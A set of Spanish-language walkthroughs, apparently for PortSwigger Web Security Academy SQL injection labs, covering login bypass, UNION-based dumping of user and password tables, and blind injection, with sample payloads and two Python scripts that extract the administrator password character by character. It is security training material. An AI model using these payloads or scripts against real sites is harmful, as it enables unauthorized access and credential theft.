# SQL Injection

## Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

### Enunciado

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de productos. Cuando el usuario selecciona una categoría, la aplicación realiza una consulta SQL como la siguiente:

```sql
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

Para resolver el laboratorio, realiza un ataque de inyección SQL que provoque que la aplicación muestre uno o más productos **no publicados**.

### Resolución

Al capturar la petición vemos que hay un error que no se contempla ya que si ponemos una comilla simple detrás de **Gifts** comentamos el resto de la sentencia.

```
SELECT * FROM products WHERE category = 'Gifts'' AND released = 1
```

Sabiendo esto hacemos la búsqueda:

```bash
?category=Gifts'--
```

Podemos observar como salen 4 elementos cuando salían 3 anteriormente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOtuRxdLwXgV2Bz6rSIt1%2Fimage.png?alt=media&#x26;token=c644fdd6-90b4-4452-80ed-05a905a6bc20" alt=""><figcaption></figcaption></figure>

Podemos ver que hay una inyección por lo que realizamos esta sentencia.

```
SELECT * FROM products WHERE category = 'Gifts' AND 1=1--' AND released = 1
```

Lo añadimos en la búsqueda y vemos que es vulnerable el parámetro **categories**. Volviendo al enunciado realizamos esta sentencia para resolverlo.

```
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
```

Lo ponemos en la búsqueda.

```
?category=Gifts' OR 1=1--'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FoBooicDcY4d2bYsa3z0O%2Fimage.png?alt=media&#x26;token=fcb973ca-2655-4b10-a1ca-7cccf65a1a2c" alt=""><figcaption></figcaption></figure>

## Lab: SQL injection vulnerability allowing login bypass

### Enunciado

Este laboratorio contiene una vulnerabilidad de inyección SQL en la función de inicio de sesión.

Para resolver el laboratorio, realiza un ataque de inyección SQL que inicie sesión en la aplicación como el usuario **administrador**.

### Resolución

Lo primero que probamos que el usuario no es la misma contraseña. La consulta sería:&#x20;

```
SELECT * FROM usuarios WHERE username='administrator' AND contraseña= 'administrator'
```

Pero no sabemos la contraseña. Como dijimos anteriormente si metemos una comilla simple en el campo de **password** comprobamos que es vulnerable.

```
SELECT * FROM usuarios WHERE username='administrator' AND contraseña= '' OR 1=1--'
```

Por lo tanto insertamos eso en el login.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FFFlRZKJ1mYDqEL7fH9Vh%2Fimage.png?alt=media&#x26;token=0b7c5e62-2f9f-40c3-bd8a-dc3b7859a3d7" alt=""><figcaption></figcaption></figure>

## Lab: SQL injection attack, querying the database type and version on Oracle

### Enunciado

Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Puedes usar un ataque **UNION** para recuperar los resultados de una consulta inyectada.

### Resolución

Mandamos a **Repeater** la petición cuando filtras por categoría. Primero vemos si es vulnerable.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYfD0o4IyRSKxUIQjfRyE%2Fimage.png?alt=media&#x26;token=e02f2304-f63b-4df8-ab4c-843500396a21" alt=""><figcaption></figcaption></figure>

Vale si es vulnerable entonces vamos a ver cuántas columnas hay. Al probar vemos que hay 2 columnas.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FbFZGhmxaGWlutBPWu1bH%2Fimage.png?alt=media&#x26;token=eb2f4b83-0a12-4294-8c4d-505982b7743f" alt=""><figcaption></figcaption></figure>

Sabiendo esto tenemos que saber en qué columna está la versión. También como está en otra consulta distinta usamos UNION.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FP31v3ZQXkn51hGoDMbeG%2Fimage.png?alt=media&#x26;token=aab0c207-1d70-40cd-82ab-de478b483cd6" alt=""><figcaption></figcaption></figure>

Vemos que hemos insertado de manera correcta. Viendo el cheatsheet de PortSwigger nos dice donde se encuentra.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FmYvng8TqPJ7wpDJoK9uk%2Fimage.png?alt=media&#x26;token=00fdf4e4-62be-41ce-8e93-c82ef6082ac7" alt=""><figcaption></figcaption></figure>

Sabiendo esto hacemos la consulta siguiente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMhhFm2PmlCTIIzIXxOO0%2Fimage.png?alt=media&#x26;token=87430269-1480-4d5f-aac7-36d2e6195e9f" alt=""><figcaption></figcaption></figure>

## Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

### Enunciado

Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Puedes usar un **ataque UNION** para recuperar los resultados de una consulta inyectada. **Mostrar la cadena de versión de la base de datos.**

### Resolución

Hacemos lo mismo que al principio del anterior, es decir, tenemos que ver cuántas columnas hay disponibles.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FswTZk9HK39d0EHu2ZNad%2Fimage.png?alt=media&#x26;token=80db5250-941a-4a5f-9303-8e2edb77455d" alt=""><figcaption></figcaption></figure>

Ya sabemos que hay dos columnas, ahora vamos a ver si se pueden almacenar texto.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FlpW2QKjZxhanzCMz7J0H%2Fimage.png?alt=media&#x26;token=6245f7fd-bc37-4976-a55a-bcffd0d648e8" alt=""><figcaption></figcaption></figure>

Sí se puede ya que devuelven string así que vamos a sacar la versión a través de SELECT.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Ff4lS7PJsAqpF5uZYLCjk%2Fimage.png?alt=media&#x26;token=cca47109-fe12-415b-8be9-62dae5903665" alt=""><figcaption></figcaption></figure>

## Lab: SQL injection attack, listing the database contents on non-Oracle databases

### Enunciado

Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes usar un **ataque UNION** para recuperar datos de otras tablas.

La aplicación tiene una función de inicio de sesión, y la base de datos contiene una tabla que almacena **nombres de usuario y contraseñas**. Debes:

1. Determinar el **nombre de esa tabla** y los **campos (columnas)** que contiene.
2. Recuperar el contenido de la tabla para obtener los **nombres de usuario y contraseñas**.
3. Iniciar sesión como el usuario **administrador**.

**Iniciar sesión como el usuario administrador** para resolver el laboratorio.

### Resolución

Como en los anteriores laboratorios vemos cuántas columnas hay.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FdLZudjR1ODnldBqGRmrH%2Fimage.png?alt=media&#x26;token=5bf40ca9-fb6a-410b-a3d7-4112d44cd623" alt=""><figcaption></figcaption></figure>

Vemos que tenemos 2 columnas por lo que ahora vamos a mirar si aceptan cadenas de texto.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fz2NRFKt9TGJ0HaRxtmPM%2Fimage.png?alt=media&#x26;token=28bf84ca-addb-4ab2-94ac-ddc38b36dfdc" alt=""><figcaption></figcaption></figure>

Ahora tenemos que extraer las tablas ya que tenemos que conseguir las credenciales. Tenemos que darnos cuenta que es una base de datos No-Oracle.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FRRHOipj0AD1piTeWKZtw%2Fimage.png?alt=media&#x26;token=134ebe55-2bc1-40be-8d10-1b5fc2450e1b" alt=""><figcaption></figcaption></figure>

Podemos ver que se nos muestra las siguientes tablas. Nos interesan las de usuarios.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FPum05dM8Hi56RN2pRHam%2Fimage.png?alt=media&#x26;token=08f32a93-1525-4e29-b510-2e81e8a4bdd5" alt=""><figcaption></figcaption></figure>

Hacemos la consulta sabiendo el nombre de la tabla queremos saber las columnas.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FxgApbsDGEOgVPmcsAtoa%2Fimage.png?alt=media&#x26;token=282f6f85-7575-4ed4-8555-9dc552b00d62" alt=""><figcaption></figcaption></figure>

Tenemos el nombre de las columnas tanto los usuarios, contraseñas y contraseñas por lo que realizamos la consulta.

<pre><code><strong>'+UNION+SELECT+username_oybnyq,+password_mtteee+FROM+users_zvzlug--
</strong></code></pre>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fc5q8xZnVm5wjSOvVe4UC%2Fimage.png?alt=media&#x26;token=7625fcf5-1ab0-4c43-9f3a-76ee9e7fa062" alt=""><figcaption></figcaption></figure>

Tenemos las credenciales y nos logueamos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FAsJKK8UA7u3L3I9V0kE9%2Fimage.png?alt=media&#x26;token=6ed9c7e1-0b92-46eb-b1fc-73c6e7b6e443" alt=""><figcaption></figcaption></figure>

## Lab: SQL injection attack, listing the database contents on Oracle

### Enunciado

Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes usar un **ataque UNION** para recuperar datos de otras tablas.

La aplicación tiene una función de inicio de sesión, y la base de datos contiene una tabla que almacena **nombres de usuario y contraseñas**. Debes:

1. **Determinar el nombre de la tabla** que contiene estas credenciales.
2. **Identificar las columnas** relevantes (como `username` y `password`).
3. **Extraer los datos de esa tabla** usando UNION SELECT.
4. **Iniciar sesión como el usuario administrador** para resolver el laboratorio.

### Resolución

Miramos como siempre cuantas columnas hay como podemos ver es una base de datos Oracle por lo que hay que tenerlo en cuenta.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FraG75ZPLFrov35a1En8b%2Fimage.png?alt=media&#x26;token=1efa6270-af89-431c-984d-6efdacbd667d" alt=""><figcaption></figcaption></figure>

Sabiendo esto sabemos que hay al menos 2 columnas. Vamos a ver si se almacenan cadenas de texto.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FwmlHKkWrdcn7lOluWqHK%2Fimage.png?alt=media&#x26;token=9f040882-2065-4daf-b520-0ca62a3c4ea4" alt=""><figcaption></figcaption></figure>

Sí se almacenan cadenas de texto y sabiendo esto extraemos el nombre de las tablas para la base de datos de Oracle.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FrYpJvpIUonYTrCmRtKxz%2Fimage.png?alt=media&#x26;token=ef5582f5-33e9-4b72-a095-6a86a6dda193" alt=""><figcaption></figcaption></figure>

Como podemos ver hemos conseguido extraerlas pero claramente nos interesa la de usuarios.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FAmtl0UCDQa6VxbvhnrbI%2Fimage.png?alt=media&#x26;token=44fe9bd2-1030-423b-ab04-9f245dac5af7" alt=""><figcaption></figcaption></figure>

Sabiendo esto realizamos la consulta a esta tabla para saber las columnas.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FCNG6hADzS72GwqXUWQyt%2Fimage.png?alt=media&#x26;token=0929fb3e-a8ff-41e4-b573-117cf6663ba3" alt=""><figcaption></figcaption></figure>

Tenemos el nombre de las columnas para realizar la consulta y saber las credenciales.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FFfIdr8jXJqFZFbHatbbL%2Fimage.png?alt=media&#x26;token=39e29520-5f6e-4390-8563-7ccf14159b20" alt=""><figcaption></figcaption></figure>

Conseguimos las credenciales ya nos podemos loguear.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F7uwSHREnAO3mp9ulfV3b%2Fimage.png?alt=media&#x26;token=ffc878e5-c2fe-40f2-9e19-c4f646744606" alt=""><figcaption></figcaption></figure>

## Lab: SQL injection UNION attack, finding a column containing text

### Enunciado

Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes usar un **ataque UNION** para recuperar datos de otras tablas.

Para construir este tipo de ataque, primero debes **determinar el número de columnas** que devuelve la consulta. Puedes hacerlo usando una técnica aprendida en un laboratorio anterior (por ejemplo, usando `ORDER BY` o probando combinaciones de columnas en el `UNION`).

El siguiente paso es **identificar qué columnas son compatibles con datos de tipo cadena (string)**.

El laboratorio proporcionará un **valor aleatorio** que debes hacer aparecer en los resultados de la consulta. Realizar un **ataque UNION SQL** que **devuelva una fila adicional con el valor proporcionado**, lo que te ayudará a identificar **qué columnas aceptan datos tipo string**.

### Resolución

Primero de todo vemos que contiene 3 columnas.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FLZyf3E5I9xo4jBbzULYw%2Fimage.png?alt=media&#x26;token=d3a21ccd-b440-4425-ae7e-446ce6dc4774" alt=""><figcaption></figcaption></figure>

Seguimos viendo que columnas acpetan cadenas de texto.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6yVLUrBjwZ6ki9qYAmAr%2Fimage.png?alt=media&#x26;token=a1427e3a-118e-442d-840a-fb501a22d864" alt=""><figcaption></figcaption></figure>

Vemos que en la página principal nos da una cadena de texto por lo que la ponemos en la consulta.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fn7GAP68CdXuOIFWoQpJV%2Fimage.png?alt=media&#x26;token=92539cdf-402c-4127-aad0-d6531ce5e160" alt=""><figcaption></figcaption></figure>

## Lab: SQL injection UNION attack, retrieving data from other tables

### Enunciado

Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes usar un **ataque UNION** para recuperar datos de otras tablas.

Para construir este ataque, deberás **combinar varias técnicas** que aprendiste en laboratorios anteriores.

La base de datos contiene una tabla diferente llamada **`users`**, con columnas **`username`** y **`password`**.

Realizar un **ataque de inyección SQL con UNION** para recuperar **todos los nombres de usuario y contraseñas**, y usar esa información para **iniciar sesión como el usuario administrador**.

### Resolución

Vamos a ver cuántas columnas hay.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FtLxzS28HRCneJZgsGS5N%2Fimage.png?alt=media&#x26;token=4039c901-89ad-4037-b648-0aaa608ad693" alt=""><figcaption></figcaption></figure>

Vemos que tenemos 2 columnas por lo que ahora toca ver si aceptan cadenas texto.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fp31aYjnv3F8NjhMxVpX4%2Fimage.png?alt=media&#x26;token=ac8f2338-037e-46f2-a5f0-44551c94dc4f" alt=""><figcaption></figcaption></figure>

Como podemos si acepta así que suponemos que tiene dos columnas de usuarios y contraseñas.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMoww9L89ySA3oz9qXrwz%2Fimage.png?alt=media&#x26;token=222eed92-51b5-482f-b596-ed0f6d9559d0" alt=""><figcaption></figcaption></figure>

Hemos conseguido las credenciales así que ya nos podemos loguear.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FaCQYVBZtbfR849Bgh7pb%2Fimage.png?alt=media&#x26;token=8aff35f6-7ef9-4b1d-acba-d913279b9729" alt=""><figcaption></figcaption></figure>

## Lab: SQL injection UNION attack, retrieving multiple values in a single column

### Enunciado

Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes usar un **ataque UNION** para recuperar datos de otras tablas.

La base de datos contiene una tabla llamada **`users`**, con las columnas **`username`** y **`password`**. Realizar un **ataque de inyección SQL con UNION** que recupere **todos los nombres de usuario y contraseñas**, y usar esa información para **iniciar sesión como el usuario `administrator`**.

### Resolución

Vemos cuántas columnas tiene.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FA3TVQhl9GUS4Ey3ffVsv%2Fimage.png?alt=media&#x26;token=7b371bb1-a76f-4425-96ae-dc0c06b2f4e1" alt=""><figcaption></figcaption></figure>

Como podemos observar son 2 columnas, tras esto vemos si aceptan cadenas texto.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FCKu4RIn94y0oM45qGlTs%2Fimage.png?alt=media&#x26;token=426bc660-740a-4f6f-a09e-5d484de04a41" alt=""><figcaption></figcaption></figure>

La segunda columna es la que sí acepta cadena de texto pero claro la información estará junta por lo que vamos a separarla.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FXiDciXHI5no20A8JJ5Ql%2Fimage.png?alt=media&#x26;token=cf9c1ab2-a40c-46da-90f6-722cc464e1a0" alt=""><figcaption></figcaption></figure>

Ya hemos conseguido las credenciales, vamos a loguearnos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F5XsIRlH95SS0MD7rcnyb%2Fimage.png?alt=media&#x26;token=25e67184-4813-43f0-9140-77228ab8f3dc" alt=""><figcaption></figcaption></figure>

## Lab: Blind SQL injection with conditional responses

### Enunciado

Este laboratorio contiene una **vulnerabilidad de inyección SQL ciega (blind SQL injection)**. La aplicación usa una **cookie de seguimiento** para análisis, y realiza una consulta SQL que incluye el valor de esa cookie.

Los resultados de la consulta **no se devuelven directamente** y **no se muestran mensajes de error**. Sin embargo, la aplicación **muestra un mensaje de "Welcome back" en la página si la consulta devuelve alguna fila**.

La base de datos contiene una tabla diferente llamada **`users`**, con columnas **`username`** y **`password`**. **Explotar la vulnerabilidad de inyección SQL ciega para averiguar la contraseña del usuario `administrator`, e iniciar sesión como dicho usuario.**

### Resolución

A diferencia de los laboratorios anteriores la vulnerabilidad está en **TrackingID**. Lo sabemos porque no nos sale el **Welcome Back**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FmInSfFQfw0NvKtwcNuor%2Fimage.png?alt=media&#x26;token=d6057f1a-c76d-4b0d-b92b-600ffc7709bc" alt=""><figcaption></figcaption></figure>

Sabiendo esto vamos a comprobar si existe la tabla users.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FmefKWEYip7ZwUA7UnbRF%2Fimage.png?alt=media&#x26;token=6890c0f0-50a2-482d-b053-ddc316aaa60f" alt=""><figcaption></figcaption></figure>

Como vemos sí que existe la tabla users. Vamos a ver si el usuario administrador está en users.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FrJT9xlHtYZZ4JVZFMWfT%2Fimage.png?alt=media&#x26;token=41816fdf-c3d7-47c2-bf8d-c0ea3f75b665" alt=""><figcaption></figcaption></figure>

Sí está en la tabla de usuarios por lo que vamos a ver su contraseña. Primero debemos saber la longitud de la contraseña.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F2AbAiEDqlH5cDHBw0gkd%2Fimage.png?alt=media&#x26;token=8c0d96e6-dd2e-4ae7-8e5e-e1e9dbbc3131" alt=""><figcaption></figcaption></figure>

Ya sabemos que la contraseña tiene longitud mayor que 1 por lo que vamos a ver cuánta longitud.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJ2ulUNxRtwIGAAgbcxqv%2Fimage.png?alt=media&#x26;token=289b06a4-2ff3-4d9d-b34a-c3d4151b91b7" alt=""><figcaption></figcaption></figure>

Vamos a comprobar los caracteres que tiene la contraseña yendo al **Intruder.**

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Far9ADLQXvTvPDL7ZyxK6%2Fimage.png?alt=media&#x26;token=774d50e5-95d8-473b-b493-05c315ff6f31" alt=""><figcaption></figcaption></figure>

Iría caracter a caracter y sabemos que la primera es una **e**. Mejor script en Python para hacerlo 20 veces o Cluster bomb.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FivjaTswbu6nNgBF4Z8On%2Fimage.png?alt=media&#x26;token=cbd98f7e-5e7d-43b2-9c5c-e025712b0c2e" alt=""><figcaption></figcaption></figure>

Este sería el script de Python.

```
import requests
import string
import urllib3


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = 'https://0a41005d03114836802e3037006f00e1.web-security-academy.net/'  # Pon aquí la URL de la página objetivo

payload = "' AND (SELECT SUBSTRING(password, {}, 1) FROM users WHERE username='administrator')='{}'--"
characters = string.printable

password = ''

for i in range(1, 21):
    for char in characters:
        cookie = {'TrackingId': 'GZJbtWWgdaT32Y4D' + payload.format(i, char)}
        response = requests.get(url, cookies=cookie, verify=False)
        if "Welcome" in response.text:
            password += char
            print(f"[+] Carácter encontrado: {char} - Contraseña parcial: {password}")
            break

print(f"\n[+] Contraseña completa encontrada: {password}")
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F3qF2vhsdVaRVfmlwkqZj%2Fimage.png?alt=media&#x26;token=2f72653d-8b1d-4d10-9219-0a80388a725b" alt=""><figcaption></figcaption></figure>

Nos logueamos con las credenciales.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F2EDWvMwosVoOkFsWwvIp%2Fimage.png?alt=media&#x26;token=34356342-427c-41a2-9e94-1f440cbaaec0" alt=""><figcaption></figcaption></figure>

## Lab 12: Blind SQL injection with conditional errors

### Enunciado

Este laboratorio contiene una **vulnerabilidad de inyección SQL ciega (blind SQL injection)**. La aplicación utiliza una **cookie de seguimiento** para análisis y realiza una consulta SQL que incluye el valor de esa cookie.

Los resultados de la consulta **no se devuelven**, y **la aplicación no responde de forma diferente según si la consulta devuelve filas o no**. Sin embargo, **si la consulta provoca un error, la aplicación muestra un mensaje de error personalizado**.

La base de datos contiene una tabla llamada **`users`** con las columnas **`username`** y **`password`**. **Explotar la vulnerabilidad de inyección SQL ciega basada en errores para averiguar la contraseña del usuario `administrator`, e iniciar sesión como ese usuario.**

### Resolución

Vemos dónde tenemos la vulnerabilidad añadiendo la comilla al **TrackingID** y recargando la página forzamos el error.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FNNJla7XzOL050yeUlArk%2Fimage.png?alt=media&#x26;token=50fd0e01-15ef-44df-8ca0-5408d0d411b8" alt=""><figcaption></figcaption></figure>



Estamos frente a una base de datos Oracle.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvkQAnzrlMCQkjhqYYxuu%2Fimage.png?alt=media&#x26;token=d52c27c8-7764-494c-a09c-a146444185c8" alt=""><figcaption></figcaption></figure>

Ahora vamos a confirmar si hay una tabla de usuarios.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FuB47QlzxtAtNThIG6iHn%2Fimage.png?alt=media&#x26;token=169d6167-5bdc-45e1-8faf-2effed9186eb" alt=""><figcaption></figcaption></figure>

Como la hay vamos a ver si está el usuario en esa tabla. Si nos da error es que existe ya que estamos realizando la consulta al revés.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FAPmuCVfxpECq4K4Tibcy%2Fimage.png?alt=media&#x26;token=a298acfd-005d-4204-8cff-6dbb5fcbcb72" alt=""><figcaption></figcaption></figure>

Confirmamos que hay un administrator como usuario. Toca conseguir la contraseña del usuario. Primero los caracteres.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FxzsWvL1SoN2HTXhCj6bn%2Fimage.png?alt=media&#x26;token=d6cb10dc-4bc9-42b0-b536-65bd4f0b6885" alt=""><figcaption></figcaption></figure>

Miramos 30 caracteres.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOCYky4TYw2uglD8infAb%2Fimage.png?alt=media&#x26;token=8b28e069-2c9b-46a6-8217-7aa640529da5" alt=""><figcaption></figcaption></figure>

Vamos al **Intruder** para ver cuántos caracteres exactamente tiene la contraseña.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FkN0Z2A4otMLhw7qrG7jZ%2Fimage.png?alt=media&#x26;token=35d3a4ca-a90b-4006-b795-4bd24e838ffd" alt=""><figcaption></figcaption></figure>

Vemos que tiene 20 caracteres tal como paso en el anterior podemos hacer Cluster Bomb o un script en Python para aligerar y hacerlo más automático hago el script.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FkF9Jub6Cu4cyTIerbOTK%2Fimage.png?alt=media&#x26;token=c3ff820d-3ccd-4b1e-919c-68c0ea784415" alt=""><figcaption></figcaption></figure>

```
#!/usr/bin/env python3

import requests
from string import ascii_lowercase, digits

def main():
        url = 'https://0aa2009404cb485d801e26cc00f80097.web-security-academy.net/'
        trackingid = 'APnrWlyEfL4OH51h'

        chars = ascii_lowercase + digits
        position = 1
        password = ''

        try:
                while True:
                        for character in chars:
                                payload = f"""{trackingid}'||(SELECT CASE WHEN SUBSTR(password,{position},1)='{character}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"""

                                cookie = {
                                        'session': 'YOUR_SESSIONID',
                                        'TrackingId': payload
                                }

                                r = requests.get(url, cookies=cookie)

                                if r.status_code == 200:
                                        # print('Error occurred')
